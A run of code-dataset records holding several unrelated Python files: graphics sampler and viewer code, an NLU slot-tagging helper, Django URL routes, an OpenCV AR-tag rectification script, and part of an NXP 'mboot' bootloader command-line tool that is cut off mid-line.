= self.rc.executeOnController(self.cluster.id, script, Lang.PYTHON)\n        data = Data(response.result)\n        val = self.service.to_object(data)\n        data_local = self.service.to_data(big_int)\n        \n        self.assertEqual(binascii.hexlify(data._buffer), binascii.hexlify(data_local._buffer))\n        self.assertEqual(big_int, val)\n","sub_path":"tests/serialization/serializers_test.py","file_name":"serializers_test.py","file_ext":"py","file_size_in_byte":3911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"111021125","text":"import math\r\n\r\nfrom FabricEngine.SceneGraph.Nodes.Rendering import *\r\nfrom FabricEngine.SceneGraph.Nodes.Images import *\r\nfrom FabricEngine.SceneGraph.PySide import *\r\n\r\nfrom FabricEngine.SceneGraph.Nodes.Geometry.PointsImpl import Points\r\n\r\n\r\nSUPPORTED_SAMPLERS = [\"Poisson\", \"Jittered\", \"Grid\", \"Random\"]\r\n\r\nclass Samples(Points):\r\n  \"\"\"A specialized cube polygon mesh node\"\"\"\r\n  \r\n  def __init__(self, scene, **kwargs):    \r\n    # call the baseclass constructor\r\n    super(Samples, self).__init__(scene, **kwargs)\r\n\r\n    dgNode = self.getGeometryDGNode()\r\n    dgNode.addMember('distribution', 'Integer', 0)\r\n    dgNode.addMember('numSamples', 'Integer', 512)\r\n    dgNode.addMember('seed', 'Size', 0)\r\n\r\n    self.addMemberParameter(dgNode, 'distribution', True, uiCombo=[{'label': key, 'value': value} for value, key in enumerate(SUPPORTED_SAMPLERS)])\r\n    self.addMemberParameter(dgNode, 'numSamples', True, uiRange=Vec2(1, 2048))\r\n    self.addMemberParameter(dgNode, 'seed', True, uiRange=Vec2(0, 50))\r\n\r\n    self.bindDGOperator(dgNode.bindings,\r\n      name = 'SamplesGenerate', \r\n      fileName = FabricEngine.SceneGraph.buildAbsolutePath('SamplesGenerate.kl'), \r\n      layout = [\r\n        'self.points',\r\n        'self.distribution',\r\n        'self.numSamples',\r\n        'self.seed'\r\n      ],\r\n    )\r\n\r\nSamples.registerNodeClass('Samples')\r\n\r\nclass SamplerApp(SceneGraphApplication):\r\n  \r\n  def __init__(self):\r\n\r\n    os.environ[\"FABRIC_EXTS_PATH\"] = \"/Library/FabricEngine/1.12.0/Exts:/Users/alexanderwilkie/dev/fabric/Exts:/Users/alexanderwilkie/dev/fabric/Samplers\"\r\n    \r\n    super(SamplerApp, self).__init__()\r\n\r\n    width = 512\r\n    height = 512\r\n\r\n    self.setWindowTitle(\"Scene Graph Sampler Browser\")\r\n    self.resize(width*2, height)\r\n    self.setupViewports(useBackgroundTexture=False)\r\n    self.setupCamera(cameraPosition=Vec3(0.001, 30, 0), cameraNearDistance=0.1, cameraFarDistance=1000.0, setupCameraManipulator=False)\r\n    self.setupGrid(gridSize=width)\r\n\r\n    scene = self.getScene()\r\n    points = Samples(scene)\r\n\r\n    xfo = Xfo(tr=Vec3(-width/2.0, 0.0, -height/2.0));\r\n    pointsInstance = GeometryInstance(\r\n      scene,\r\n      geometry=points,\r\n      transform=Transform(scene, parentTransform=Transform(scene), localXfo=xfo),\r\n      material=Material(scene, xmlFile='FlatPointsMaterial', color=Color(1.0, 0.0, 0.0))\r\n    )\r\n\r\n    nodesList = {\r\n      'instance': pointsInstance\r\n    }\r\n    self.getViewport().getInPort('Camera').getConnectedNode().fitInView(nodesList)\r\n    self.rotateCamera(degrees=270)\r\n    self.addDockWidget(QtCore.Qt.RightDockWidgetArea, SGNodeInspectorDockWidget(node=points)) \r\n\r\n    self.constructionCompleted()\r\n\r\n  def rotateCamera(self, degrees):\r\n    camXfo = self.getViewport().getInPort('Camera').getConnectedNode().getInPort('Transform').getConnectedNode().getParameter('globalXfo')\r\n    camXfo.setValue(Xfo(camXfo.getValue().tr, Quat().setFromAxisAndAngle(Vec3(0.0, 1.0, 0.0), math.radians(degrees))))\r\n\r\nif __name__ == '__main__':\r\n  app = SamplerApp()\r\n  app.exec_()\r\n","sub_path":"Viewer.py","file_name":"Viewer.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"434543574","text":"from enum import Enum\nimport numpy as np\n\nfrom bof_slot_tagger.slot_tagger import InferModel\n\n\nclass Bof_Nlu:\n    def __init__(self):\n        self.entities = {\n            '<area>': None,\n            '<food>': None,\n            '<price>': None\n        }\n    \n        self.num_features = 3\n        self.rating = None\n    \n        self.nlu_model = InferModel()\n    \n        self.EntType = Enum('Entity Type', '<area> <food> <price> <non_ent>')\n\n    def init_entities(self):\n        self.entities = {\n            '<area>': None,\n            '<food>': None,\n            '<price>': None\n        }\n\n    def ent_type(self, ent):\n        if ent == 'B-area':\n            return self.EntType['<area>'].name\n        elif ent == 'B-food':\n            return self.EntType['<food>'].name\n        elif ent == 'B-price':\n            return self.EntType['<price>'].name\n        else:\n            return None\n\n    def extract_entities(self, utterance, update=True):\n        tokenized = []\n        word_list = utterance.split(' ')\n        slot_tagging_result = self.nlu_model.inference(utterance)\n        \n        # print(slot_tagging_result)\n    \n        for i, tag in enumerate(slot_tagging_result):\n            entity = self.ent_type(tag)\n            if update and entity:\n                self.entities[entity] = word_list[i]\n                tokenized.append(entity)\n            elif entity:\n                tokenized.append(entity)\n            else:\n                tokenized.append(word_list[i])\n    \n        return ' '.join(tokenized)\n\n    def context_features(self):\n        keys = list(set(self.entities.keys()))\n        self.ctxt_features = np.array([bool(self.entities[key]) for key in keys],\n                                      dtype=np.float32)\n    \n        return self.ctxt_features","sub_path":"modules/bof_nlu.py","file_name":"bof_nlu.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"228747210","text":"from django.conf.urls import url\n\nfrom app.views import (\n    DefaultFormByFieldView,\n    DefaultFormsetView,\n    DefaultFormView,\n    FormHorizontalView,\n    FormInlineView,\n    FormWithFilesView,\n    HomePageView,\n    MiscView,\n    PaginationView,\n)\n\nurlpatterns = [\n    url(r\"^$\", HomePageView.as_view(), name=\"home\"),\n    url(r\"^formset$\", DefaultFormsetView.as_view(), name=\"formset_default\"),\n    url(r\"^form$\", DefaultFormView.as_view(), name=\"form_default\"),\n    url(r\"^form_by_field$\", DefaultFormByFieldView.as_view(), name=\"form_by_field\"),\n    url(r\"^form_horizontal$\", FormHorizontalView.as_view(), name=\"form_horizontal\"),\n    url(r\"^form_inline$\", FormInlineView.as_view(), name=\"form_inline\"),\n    url(r\"^form_with_files$\", FormWithFilesView.as_view(), name=\"form_with_files\"),\n    url(r\"^pagination$\", PaginationView.as_view(), name=\"pagination\"),\n    url(r\"^misc$\", MiscView.as_view(), name=\"misc\"),\n]\n","sub_path":"example/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"114094654","text":"import cv2 as cv2\nimport numpy as np\nfrom scipy.spatial import Delaunay\nimport matplotlib.pyplot as plt\n\ndef rectify(img_gray, corners):\n\n    desired_corners = np.array([[0,0],[128, 0], [128, 128] ,[0, 128]], dtype=np.float32)\n    H = find_svd(corners, desired_corners)\n    shape = [128, 128]\n    rect_img = getPerspectiveTransform(img_gray,H, shape)\n    \n    return rect_img\n\ndef warp_lena(img, img_lena, corners):\n\n    desired_corners = np.array([[0,0],[img_lena.shape[0], 0], [img_lena.shape[0], img_lena.shape[0]] ,[0, img_lena.shape[0]]], dtype=np.float32)\n    H = find_svd(corners, desired_corners)\n    shape = [img_lena.shape[0],img_lena.shape[0]]\n    warped_img = getPerspectiveTransform_Lena(img,img_lena, H, shape)\n    return warped_img\n\ndef find_cube_pts(img, reqdPts, corners, shape, calib):\n\n    desired_corners = np.array([[0, 0],[0, shape[1]],[shape[0], shape[1]], [shape[0], 0]])\n    H = find_svd(corners, desired_corners)\n    H = np.linalg.inv(H)\n    H = H/H[2,2]\n    E = np.zeros([3, 4])\n    calib_inv = np.linalg.inv(calib)\n    E_ = np.matmul(calib_inv, H)\n    lamda = (np.linalg.norm(np.matmul(calib_inv, H[:, 0])) + np.linalg.norm(np.matmul(calib_inv, H[:, 1])))/2\n    B = np.linalg.det(E_)\n    \n    if B < 0:\n        E_ = -E_\n\n    E_ = E_/lamda\n    E[:,0] = (E_[:,0]/lamda).T\n    E[:,1] = (E_[:,1]/lamda).T\n    E[:,2] = (np.cross(E[:,0], E[:,1])*lamda).T\n    E[:,3] = (E_[:,2]/lamda).T\n    E = E[:]/E[2,3]\n    imgPts = np.matmul(calib,np.matmul(E,reqdPts.T))\n    \n    return imgPts\n\n\ndef find_svd(c1,c2):\n\n    [x1,y1],[x2,y2],[x3,y3],[x4,y4] = c2\n    [xp1, yp1], [xp2, yp2], [xp3, yp3], [xp4, yp4] = c1\n    A = np.array([[-x1,-y1,-1,0,0,0,x1*xp1,y1*xp1,xp1],[0,0,0,-x1,-y1,-1,x1*yp1,y1*yp1,yp1],[-x2,-y2,-1,0,0,0,x2*xp2,y2*xp2,xp2],\\\n                [0,0,0,-x2,-y2,-1,x2*yp2,y2*yp2,yp2],[-x3,-y3,-1,0,0,0,x3*xp3,y3*xp3,xp3],[0,0,0,-x3,-y3,-1,x3*yp3,y3*yp3,yp3],\\\n                [-x4,-y4,-1,0,0,0,x4*xp4,y4*xp4,xp4],[0,0,0,-x4,-y4,-1,x4*yp4,y4*yp4,yp4]], dtype=np.float32)\n                    \n    A_trans = A.transpose()\n    A_prod = np.dot(A_trans,A)\n    w,v = np.linalg.eig(A_prod)\n    H = v[:,-1]\n    H = np.reshape(H,(3,3))\n    H = H/H[2,2]\n    if abs(np.linalg.det(H)) < 0.0001:\n        return H \n    H = np.linalg.inv(H)\n    H = H/H[2,2]\n    return H\n\ndef getPerspectiveTransform(img, H, shape):\n\n    Hinv = np.linalg.inv(H)\n    Hinv = Hinv/Hinv[2,2]\n    rect_img = np.zeros((shape[0], shape[1], 1))\n    img_ = img.astype(np.float32)\n    counter=0\n    for i in range(shape[0]): # x? to change\n        for j in range(shape[1]): #y?\n            [x, y, z] = np.dot(Hinv, np.transpose([j, i, 1]))\n            x = x/z\n            y = y/z\n            counter+=1\n            if (type(x) != np.float64) or (type(y)!= np.float64):\n                # print(1)\n                continue\n            if (x < 1919 and y < 1079 and x >= 0 and y >= 0):\n                rect_img[i,j] = (img_[int(np.floor(y)),int(np.floor(x))] + img_[int(np.floor(y)),int(np.ceil(x))]\n                                    + img_[int(np.ceil(y)), int(np.ceil(x))]+ img_[int(np.ceil(y)) , int(np.floor(x))])/4.0\n            \n    return rect_img\n\ndef getPerspectiveTransform_Lena(img, img_lena, H, shape):\n\n    Hinv = np.linalg.inv(H)\n    Hinv = Hinv/Hinv[2,2]\n    img_ = np.zeros((img.shape[0], img.shape[1], 4))\n    img_[:,:,0:3] = img\n    \n    for i in range(shape[0]): # x? to change\n        for j in range(shape[1]): #y?\n            [x, y, z] = np.dot(Hinv, np.transpose([j, i, 1]))\n            x = x/z\n            y = y/z\n            #print(x, y)\n            index_x = [int(np.floor(y)), int(np.floor(y)), int(np.ceil(y)), int(np.ceil(y))]\n            index_y = [int(np.floor(x)), int(np.floor(x)), int(np.ceil(x)), int(np.ceil(x))]\n            if(x < 1920 and y < 1080 and x>=0 and y>=0):\n                img_[int(np.floor(y)), int(np.floor(x)), 0:3] = (img_[int(np.floor(y)), int(np.floor(x)), 0:3]*img_[int(np.floor(y)), int(np.floor(x)), 3] \n                                                                    + img_lena[i,j,0:3])/(img_[int(np.floor(y)), int(np.floor(x)), 3] + 1)\n                img_[int(np.floor(y)), int(np.floor(x)), 3] += 1\n                \n    return img_[:,:,0:3].astype(np.uint8)                                                                              \n        \ndef orient_img(img):\n\n    scale = 5\n    scaleEnd = -3\n    num_rot = 0\n    img_ = np.asarray(img[scale:scaleEnd, scale:scaleEnd]).astype(np.int32)\n    inds = np.where(img_>= np.max(img_) - 15)\n    xmin = np.min(inds[0])+scale\n    xmax = np.max(inds[0])+scale\n    ymin = np.min(inds[1])+scale\n    ymax = np.max(inds[1])+scale\n    topLeft = [xmin, ymin]\n    topRight = [xmin, ymax]\n    bottomLeft = [xmax, ymin]\n    bottomRight = [xmax, ymax]\n    keypts = np.array([np.add(bottomRight, 0.1*np.add(topLeft, np.multiply(-1,bottomRight))), np.add(topRight,0.1*np.add(bottomLeft,np.multiply(-1,topRight))) ,\n                    np.add(topLeft,0.1*np.add(bottomRight,np.multiply(-1,topLeft))),np.add(bottomLeft, 0.1*np.add(topRight, np.multiply(-1,bottomLeft))) ])\n    for i in range(len(keypts)):\n        if img[int(keypts[i,0])][int(keypts[i,1])] >=230 :\n            for k in range(i):\n                img = cv2.rotate(img, cv2.ROTATE_90_CLOCKWISE)\n            num_rot = i    \n\n    return num_rot, img  \n    \n\ndef find_id(img):\n\n    sizex = img.shape[0]\n    sizey = img.shape[1]\n    scale = 5\n    scaleEnd = -3\n    img_ = np.asarray(img[scale:scaleEnd, scale:scaleEnd]).astype(np.int32)\n    inds = np.where(img_>= np.max(img_) - 15)\n    xmin = np.min(inds[0])+scale\n    xmax = np.max(inds[0])+scale\n    ymin = np.min(inds[1])+scale\n    ymax = np.max(inds[1])+scale\n    topLeft = [xmin, ymin]\n    topRight = [xmin, ymax]\n    bottomLeft = [xmax, ymin]\n    bottomRight = [xmax, ymax]\n    keypts = np.array([np.add(bottomLeft, 0.375*np.add(topRight, np.multiply(-1,bottomLeft))),np.add(bottomRight, 0.375*np.add(topLeft, np.multiply(-1,bottomRight))), \n                        np.add(topRight,0.375*np.add(bottomLeft,np.multiply(-1,topRight))),np.add(topLeft,0.375*np.add(bottomRight,np.multiply(-1,topLeft)))])\n    id = 0\n    cv2.rectangle(img,(ymin,xmin),(ymax,xmax),(0,255,0),thickness=1)\n    for i in range(len(keypts)):\n        if(img[int(keypts[i][0])][int(keypts[i][1])] >245):\n            id = (id << 1) | int('00000001', 2)\n        else:\n            id = (id << 1) | int('00000000', 2)\n    return id\n\ndef draw_cubes(img, corners, imgPts):\n    \n    for i in range(corners.shape[0]):        \n        cv2.line(img, tuple(corners[i%4]),tuple(corners[(i+1)%4]),(0,255,255),3)\n        cv2.line(img, tuple(imgPts[0:2, i%4].astype(np.int32)),tuple(imgPts[0:2, (i+1)%4].astype(np.int32)),(0,255,255),3)\n        cv2.line(img, tuple(corners[i%4]),tuple([int(imgPts[0,i%4]),int(imgPts[1,i%4])]),(255,0,0),3)           \n\ndef in_hull(p, hull):\n\n    if not isinstance(hull,Delaunay):\n        hull = Delaunay(hull)\n    res = hull.find_simplex(p)>=0\n    # print(res)\n    return res\n    \nif __name__==\"__main__\":\n    \n    index = [44, 250, 399]\n    corners = [\n                np.array([[1145, 567], [1074, 598], [1033, 537], [1104, 508]], dtype=np.float32),\n                np.array([[1099, 625], [1037, 642], [1004, 582], [1067, 566]], dtype=np.float32),\n                np.array([[1158, 540], [1134, 597], [1057, 558], [1086, 498]], dtype=np.float32)\n            ]\n\n    for i in range(len(index)):\n        img = cv2.imread(\"VideoFrames/vid\"+ str(index[i])+\".jpg\")\n        imgCorner = corners[i]\n        rect_img = rectify(img, imgCorner)\n        cv2.imshow(\"rectified image\", rect_img)\n        oriented_image = orient_img(rect_img)\n        cv2.imshow(\"oriented image\", oriented_image)\n        id = find_id(oriented_image)\n        print (id)\n        cv2.waitKey(0)\n    ","sub_path":"rectify.py","file_name":"rectify.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"607116402","text":"import sys\nimport argparse\nimport re as _re\nimport logging\n\nfrom . import mboot\nfrom .tool import check_method_arg_number, convert_arg_to_int, check_key, check_int, hexdump, read_file\nfrom .enums import PropertyTag\nfrom .constant import Interface\nfrom .memorytool import MemoryBlock\nfrom .peripheral import parse_peripheral\nfrom .exception import McuBootGenericError\nfrom . import global_error_handler\nfrom . import __version__\n\n# Use when debugging the argprase library, because the command has not been received \n# at this time to set the log level, so there will be no more detailed details.\n# logging.basicConfig(level=logging.DEBUG)\n\ndef parse_args(parser, subparsers, command=None):\n    if command is None:\n        command = sys.argv[1:]\n    # Divide argv by commands\n    split_argv = [[]]\n\n    if '-o' in command or '--origin' in command: # origin interface\n        split_argv[-1].extend(command)\n    else:\n        for c in command:\n            if c in subparsers.choices:\n                split_argv.append([c])\n            else:\n                split_argv[-1].append(c)\n                # print(split_argv[-1])\n    # If you only enter the tool name, it will output its help by default.\n    if split_argv == [[]]:\n        split_argv[0].append(\"-h\")\n    # Initialize namespace\n    args = argparse.Namespace()\n    # Set command name, such as cmd1, cmd2..\n    for c in subparsers.choices:\n        setattr(args, c, None)\n    # Parse each command\n    parser.parse_args(split_argv[0], namespace=args)  # Without command\n    # print(args)\n    # print(split_argv)\n    for argv in split_argv[1:]:  # Each Subcommands\n        n = argparse.Namespace()\n        setattr(args, argv[0], n)\n        # print(args)\n        # Prevents the addition of commands defined by the parent parser\n        parser._parse_known_args(list(argv), namespace=n)\n    return args\n\ndef info(mb, memory_id=0, exconf=None):\n    nfo = mb.get_mcu_info()\n    # Print MCUBoot MCU Info\n    for key, value in nfo.items():\n        m = \" {}:\".format(key)\n        if isinstance(value, list):\n            m += \"\".join([\"\\n  - {}\".format(s) for s in value])\n        else:\n            m += \"\\n  = {}\".format(value)\n        print(m)\n\n    if memory_id:\n        if exconf:\n            mb.setup_external_memory(memory_id, exconf)\n        info = mb.get_exmemory_info(memory_id)\n        for key, value in info.items():\n            m = \" {}:\".format(key)\n            if isinstance(value, list):\n                m += \"\".join([\"\\n  - {}\".format(s) for s in value])\n            else:\n                m += \"\\n  = {}\".format(value)\n            print(m)\n\ndef write(mb, address, filename, memory_id=0, offset=0, no_erase=False, exconf=None):\n    do_erase = not no_erase\n    mb.get_memory_range()\n    data, start_address = read_file(filename, address)\n    length = len(data) - offset\n    data = data[offset:]\n    block = MemoryBlock(start_address, None, length)\n    if memory_id:\n        if exconf:\n            mb.setup_external_memory(memory_id, exconf)\n        # Some device do not support EXTERNAL_MEMORY_ATTRIBUTES Property, so external memory will not check memory range\n\n        if do_erase:\n            mb.flash_erase_region(start_address, length, memory_id)\n    else:\n        if mb.is_in_flash(block):\n            if do_erase:    # erase first if block in the flash area\n                mb.flash_erase_region(block.start, block.length)\n        elif mb.is_in_memory(block):\n            pass\n        else:\n            raise McuBootGenericError('MemoryRangeInvalid, please check the address range.')\n        start = mb.get_property(PropertyTag.RAM_START_ADDRESS)\n    mb.write_memory(start_address, data, memory_id)\n\ndef read(mb, address, length, filename=None, memory_id=0, compress=False, exconf=None):\n    mb.get_memory_range()\n    block = MemoryBlock(address, None, length)\n    if memory_id:\n        if exconf:\n            mb.setup_external_memory(memory_id, exconf)\n        # Some device do not support EXTERNAL_MEMORY_ATTRIBUTES Property, so external memory will not check memory range\n    else:\n        if not (mb.is_in_flash(block) or mb.is_in_memory(block)):\n            raise McuBootGenericError('MemoryRangeInvalid, please check the address range.')\n    data = mb.read_memory(address, length, filename, memory_id)\n    print('\\n', hexdump(data, address, compress))\n\n# def handle_exception(func):\n#     def decorate(func):\n#         try:\n#             func()\n#         except McuBootGenericError as e:\n#             err_msg = '\\n' + traceback.format_exc() if ctx.obj['DEBUG'] else ' ERROR: {}'.format(str(e))\n\ndef fill(mb, address, byte_count, pattern, unit, no_erase=False):\n    do_erase = not no_erase\n    mb.get_memory_range()\n    block = MemoryBlock(address, None, byte_count*8)\n    if mb.is_in_flash(block):\n        if do_erase:\n            mb.flash_erase_region(block.start, block.length)\n    elif mb.is_in_memory(block):\n        pass\n    else:\n        raise McuBootGenericError('MemoryRangeInvalid, please check the address range.')\n    mb.fill_memory(address, byte_count, pattern, unit)\n\ndef erase(mb, address, length, memory_id=0, erase_all = False, exconf=None):\n    if memory_id and exconf:\n        mb.setup_external_memory(memory_id, exconf)\n    if erase_all:\n        # Get available commands\n        commands = mb.get_property(mboot.PropertyTag.AVAILABLE_COMMANDS)\n        # Call KBoot flash erase all function\n        if mboot.is_command_available(mboot.CommandTag.FLASH_ERASE_ALL_UNSECURE, commands) and memory_id == 0:\n            mb.flash_erase_all_unsecure()\n        elif mboot.is_command_available(mboot.CommandTag.FLASH_ERASE_ALL, commands):\n            mb.flash_erase_all(memory_id)\n        else:\n            raise McuBootGenericError('Not Supported \"flash_erase_all_unsecure/flash_erase_all\" Command')\n    else:\n        # Call KBoot flash erase region function\n        mb.flash_erase_region(address, length, memory_id)\n\ndef unlock(mb, key=None):\n    if key is None:\n        # Call KBoot flash erase all and unsecure function\n        mb.flash_erase_all_unsecure()\n    else:\n        # Call KBoot flash security disable function\n        mb.flash_security_disable(key)\n\nclass MBootHelpFormatter(argparse.ArgumentDefaultsHelpFormatter):\n    def __init__(self, prog, *args, **kwargs):\n        super(MBootHelpFormatter, self).__init__(prog, max_help_position=35, width=85, *args, **kwargs)\n\n    def add_usage(self, usage, actions, groups, prefix=None):\n        if prefix is None:\n            prefix = 'Usage: '\n        return super(MBootHelpFormatter, self).add_usage(\n            usage, actions, groups, prefix)\n\n    def _format_args(self, action, default_metavar):\n        get_metavar = self._metavar_formatter(action, default_metavar)\n        if action.nargs is None:\n            result = '%s' % get_metavar(1)\n        elif action.nargs == argparse.OPTIONAL:\n            result = '[%s]' % get_metavar(1)\n        elif action.nargs == argparse.ZERO_OR_MORE:\n            if action.metavar is None:\n                # result = '[%s [%s ...]]' % get_metavar(2)\n                # When metavar is not set, use '...' for usage\n                result = '...'\n            else:\n                if isinstance(action.metavar, str):\n                    metavar_len = 1\n                else:\n                    metavar_len = len(action.metavar)\n                if metavar_len == 1:\n                    result = '[%s]' % get_metavar(1)\n                elif metavar_len > 1:\n                    f_string = ' [%s]' * (metavar_len - 1)\n                    f_string = '[%s{}]'.format(f_string)\n                    result = f_string % get_metavar(metavar_len)\n                else:\n                    raise ValueError('The \"metavar\" attribute cannot provide an empty tuple.')\n        elif action.nargs == argparse.ONE_OR_MORE:\n            if action.metavar is None:\n                # When metavar is not set, use default value for usage\n                result = '[%s [%s ...]]' % get_metavar(2)\n            else:\n                if isinstance(action.metavar, str):\n                    metavar_len = 1\n                else:\n                    metavar_len = len(action.metavar)\n                if metavar_len == 1:\n                    result = '[%s]' % get_metavar(1)\n                elif metavar_len > 1:\n                    f_string = ' [%s]' * (metavar_len - 1)\n                    f_string = '[%s{}]'.format(f_string)\n                    result = f_string % get_metavar(metavar_len)\n                else:\n                    raise ValueError('The \"metavar\" attribute cannot provide an empty tuple.')\n        elif action.nargs == argparse.REMAINDER:\n            result = '...'\n        elif action.nargs == argparse.PARSER:\n            result = '%s ...' % get_metavar(1)\n        else:\n            formats = ['%s' for _ in range(action.nargs)]\n            result = ' '.join(formats) % get_metavar(action.nargs)\n        return result\n\n    # Abbreviate shorthand help\n    def _format_action_invocation(self, action):\n        if not action.option_strings:\n            default = self._get_default_metavar_for_positional(action)\n            metavar, = self._metavar_formatter(action, default)(1)\n            return metavar\n\n        else:\n            parts = []\n\n            # if the Optional doesn't take a value, format is:\n            #    -s, --long\n            if action.nargs == 0:\n                parts.extend(action.option_strings)\n\n            # if the Optional takes a value, format is:\n            #    -s ARGS, --long ARGS\n            else:\n                default = self._get_default_metavar_for_optional(action)\n                args_string = self._format_args(action, default)\n                parts.extend(action.option_strings[:-1])\n                parts.append('%s %s' % (action.option_strings[-1], args_string))\n                # for option_string in action.option_strings:\n                #     parts.append('%s %s' % (option_string, args_string))\n\n            return ', '.join(parts)\n\nclass MBootSubHelpFormatter(MBootHelpFormatter):\n    def _format_usage(self, usage, actions, groups, prefix):\n        if prefix is None:\n            prefix = _('usage: ')\n\n        # if usage is specified, use that\n        if usage is not None:\n            usage = usage % dict(prog=self._prog)\n\n        # if no optionals or positionals are available, usage is just prog\n        elif usage is None and not actions:\n            usage = '%(prog)s' % dict(prog=self._prog)\n\n        # if optionals and positionals are available, calculate usage\n        elif usage is None:\n            prog = '%(prog)s' % dict(prog=self._prog)\n\n            # split optionals from positionals\n            optionals = []\n            positionals = []\n            for action in actions:\n                if action.option_strings:\n                    optionals.append(action)\n                else:\n                    positionals.append(action)\n\n            # build full usage string\n            format = self._format_actions_usage\n            # action_usage = format(optionals + positionals, groups)\n            # usage = ' '.join([s for s in [prog, action_usage] if s])\n\n            # break usage into wrappable parts\n            part_regexp = (\n                r'\\(.*?\\)+(?=\\s|$)|'\n                r'\\[.*?\\]+(?=\\s|$)|'\n                r'\\S+'\n            )\n            opt_usage = format(optionals, groups)\n            pos_usage = format(positionals, groups)\n            opt_parts = _re.findall(part_regexp, opt_usage)\n            pos_parts = _re.findall(part_regexp, pos_usage)\n            assert ' '.join(opt_parts) == opt_usage\n            assert ' '.join(pos_parts) == pos_usage\n            usage = ' '.join([v for v in [prog, pos_usage, opt_usage] if v])\n\n            # wrap the usage parts if it's too long\n            text_width = self._width - self._current_indent\n            if len(prefix) + len(usage) > text_width:\n                # helper for wrapping lines\n                def get_lines(parts, indent, prefix=None):\n                    lines = []\n                    line = []\n                    if prefix is not None:\n                        line_len = len(prefix) - 1\n                    else:\n                        line_len = len(indent) - 1\n                    for part in parts:\n                        if line_len + 1 + len(part) > text_width and line:\n                            lines.append(indent + ' '.join(line))\n                            line = []\n                            line_len = len(indent) - 1\n                        line.append(part)\n                        line_len += len(part) + 1\n                    if line:\n                        lines.append(indent + ' '.join(line))\n                    if prefix is not None:\n                        lines[0] = lines[0][len(indent):]\n                    return lines\n\n                # if prog is short, follow it with optionals or positionals\n                if len(prefix) + len(prog) <= 0.75 * text_width:\n                    indent = ' ' * (len(prefix) + len(prog) + 1)\n                    if pos_parts and opt_parts:\n                        lines = get_lines([prog] + pos_parts, indent, prefix)\n                        lines.extend(get_lines(opt_parts, indent))\n                    elif opt_parts:\n                        lines = get_lines(opt_parts, indent, prefix)\n                    elif pos_parts:\n                        lines = get_lines(pos_parts, indent, prefix)\n                    else:\n                        lines = [prog]\n\n                # if prog is long, put it on its own line\n                else:\n                    indent = ' ' * len(prefix)\n                    parts = pos_parts + opt_parts\n                    lines = get_lines(parts, indent)\n                    if len(lines) > 1:\n                        lines = []\n                        lines.extend(get_lines(pos_parts, indent))\n                        lines.extend(get_lines(opt_parts, indent))\n                    lines = [prog] + lines\n                # join lines into usage\n                usage = '\\n'.join(lines)\n\n        # prefix with 'usage:'\n        return '%s%s\\n\\n' % (prefix, usage)\n\nclass FixArgValue(argparse.Action):\n    \"\"\"Fix incorrect allocation of values ​​due to resolution reasons\n    :param check_arg: The name of the arg. to be checked, its type must be different from the current arg.\n    \"\"\"\n    def __init__(self,\n                 option_strings,\n                 dest,\n                 nargs=None,\n                 const=None,\n                 default=None,\n                 type=None,\n                 choices=None,\n                 required=False,\n                 help=None,\n                 metavar=None,\n                 check_arg=None):   # Add 'check_arg' arg\n        argparse.Action.__init__(self,\n                                 option_strings=option_strings,\n                                 dest=dest,\n                                 nargs=nargs,\n                                 const=const,\n                                 default=default,\n                                 type=type,\n                                 choices=choices,\n                                 required=required,\n                                 help=help,\n                                 metavar=metavar)\n        self.check_arg = check_arg\n        # print('Initializing CustomAction')\n        # for name, value in sorted(locals().items()):\n        #     if name == 'self' or value is None:\n        #         continue\n        #     print('init value: {} = {!r}'.format(name, value))\n        # return\n    def __call__(self, parser, namespace, values, option_string=None):\n        # print('- dest = {}'.format(self.dest))\n        # print('- values = {!r}'.format(values))\n        # print('- namespace = {}'.format(namespace))\n        # print('- parser = {}'.format(parser))\n        # print('- option_string = {!r}'.format(option_string))\n        # import pprint\n        # pprint.pprint('{}'.format(parser.__dict__['_registries']))\n        # for item in parser.__dict__['_optionals']:\n        #     pprint.pprint(item)\n\n        #parser.__dict__._StoreAction.dest\n        if values:\n            '''Normal assignment if the current value exists\n            Type conversion will be performed before accon, \n            so there is no need to perform type conversion again.'''\n            setattr(namespace, self.dest, values)\n        else:\n            # Get the value of the parameter to check\n            check_arg_value = getattr(namespace, self.check_arg, None)\n\n            if self.type is None:\n                self.type = str\n            try:\n                # Use the type checker of this parameter to check the value of `check_arg`.\n                if isinstance(check_arg_value, (list, tuple)):\n                    [self.type(value) for value in check_arg_value]\n                    value = check_arg_value\n                else:\n                    value = self.type(check_arg_value)\n            except Exception:\n                # Error, give up fix, use default value\n                setattr(namespace, self.dest, self.default)\n            else:\n                # Deprive the value from checked parameters\n                setattr(namespace, self.dest, value)\n                # Reassign the checked parameter with its default value\n                for item in parser.__dict__['_actions']:\n                    if item.dest == self.check_arg:\n                        setattr(namespace, self.check_arg, item.default)\n                        break\n\n@global_error_handler\ndef main():\n    parser = argparse.ArgumentParser(prog='mboot', description='A python mboot with user interface.', \n        formatter_class=MBootHelpFormatter, add_help=False)#, usage='%(prog)s [peripheral option] [other options] []')\n    group = parser.add_mutually_exclusive_group()\n    group.add_argument('-u', '--usb', nargs='?', const=[], default=None, \n        help='Use usb peripheral, such as \"-u VIDPID\", \"-u\"', metavar='vid,pid')\n    group.add_argument('-p', '--uart', nargs='*', help='Use uart peripheral, '\n        'such as \"-p PORT SPEED\", \"-p PORT\", \"-p SPEED\", \"-p\"', metavar=('port', 'speed'))\n    group.add_argument('-s', '--spi', nargs='*', help='Use spi peripheral, '\n        'such as \"-s VIDPID SPEED\", \"-s VIDPID\", \"-s SPEED\", \"-s\"', metavar=('vid,pid', 'speed'))\n    group.add_argument('-i', '--i2c', nargs='*', help='Use i2c peripheral, '\n        'such as \"-i VIDPID SPEED\", \"-i VIDPID\", \"-i SPEED\", \"-i\"', metavar=('vid,pid', 'speed'))\n    parser.add_argument('--select_device', help='When inserting two devices with the same vid, pid, '\n        'manually select the device, so that the device selection prompt will not pop up. '\n        'For \"usb\" devices, its value should be the device id under windows, and a pair of values ​​like 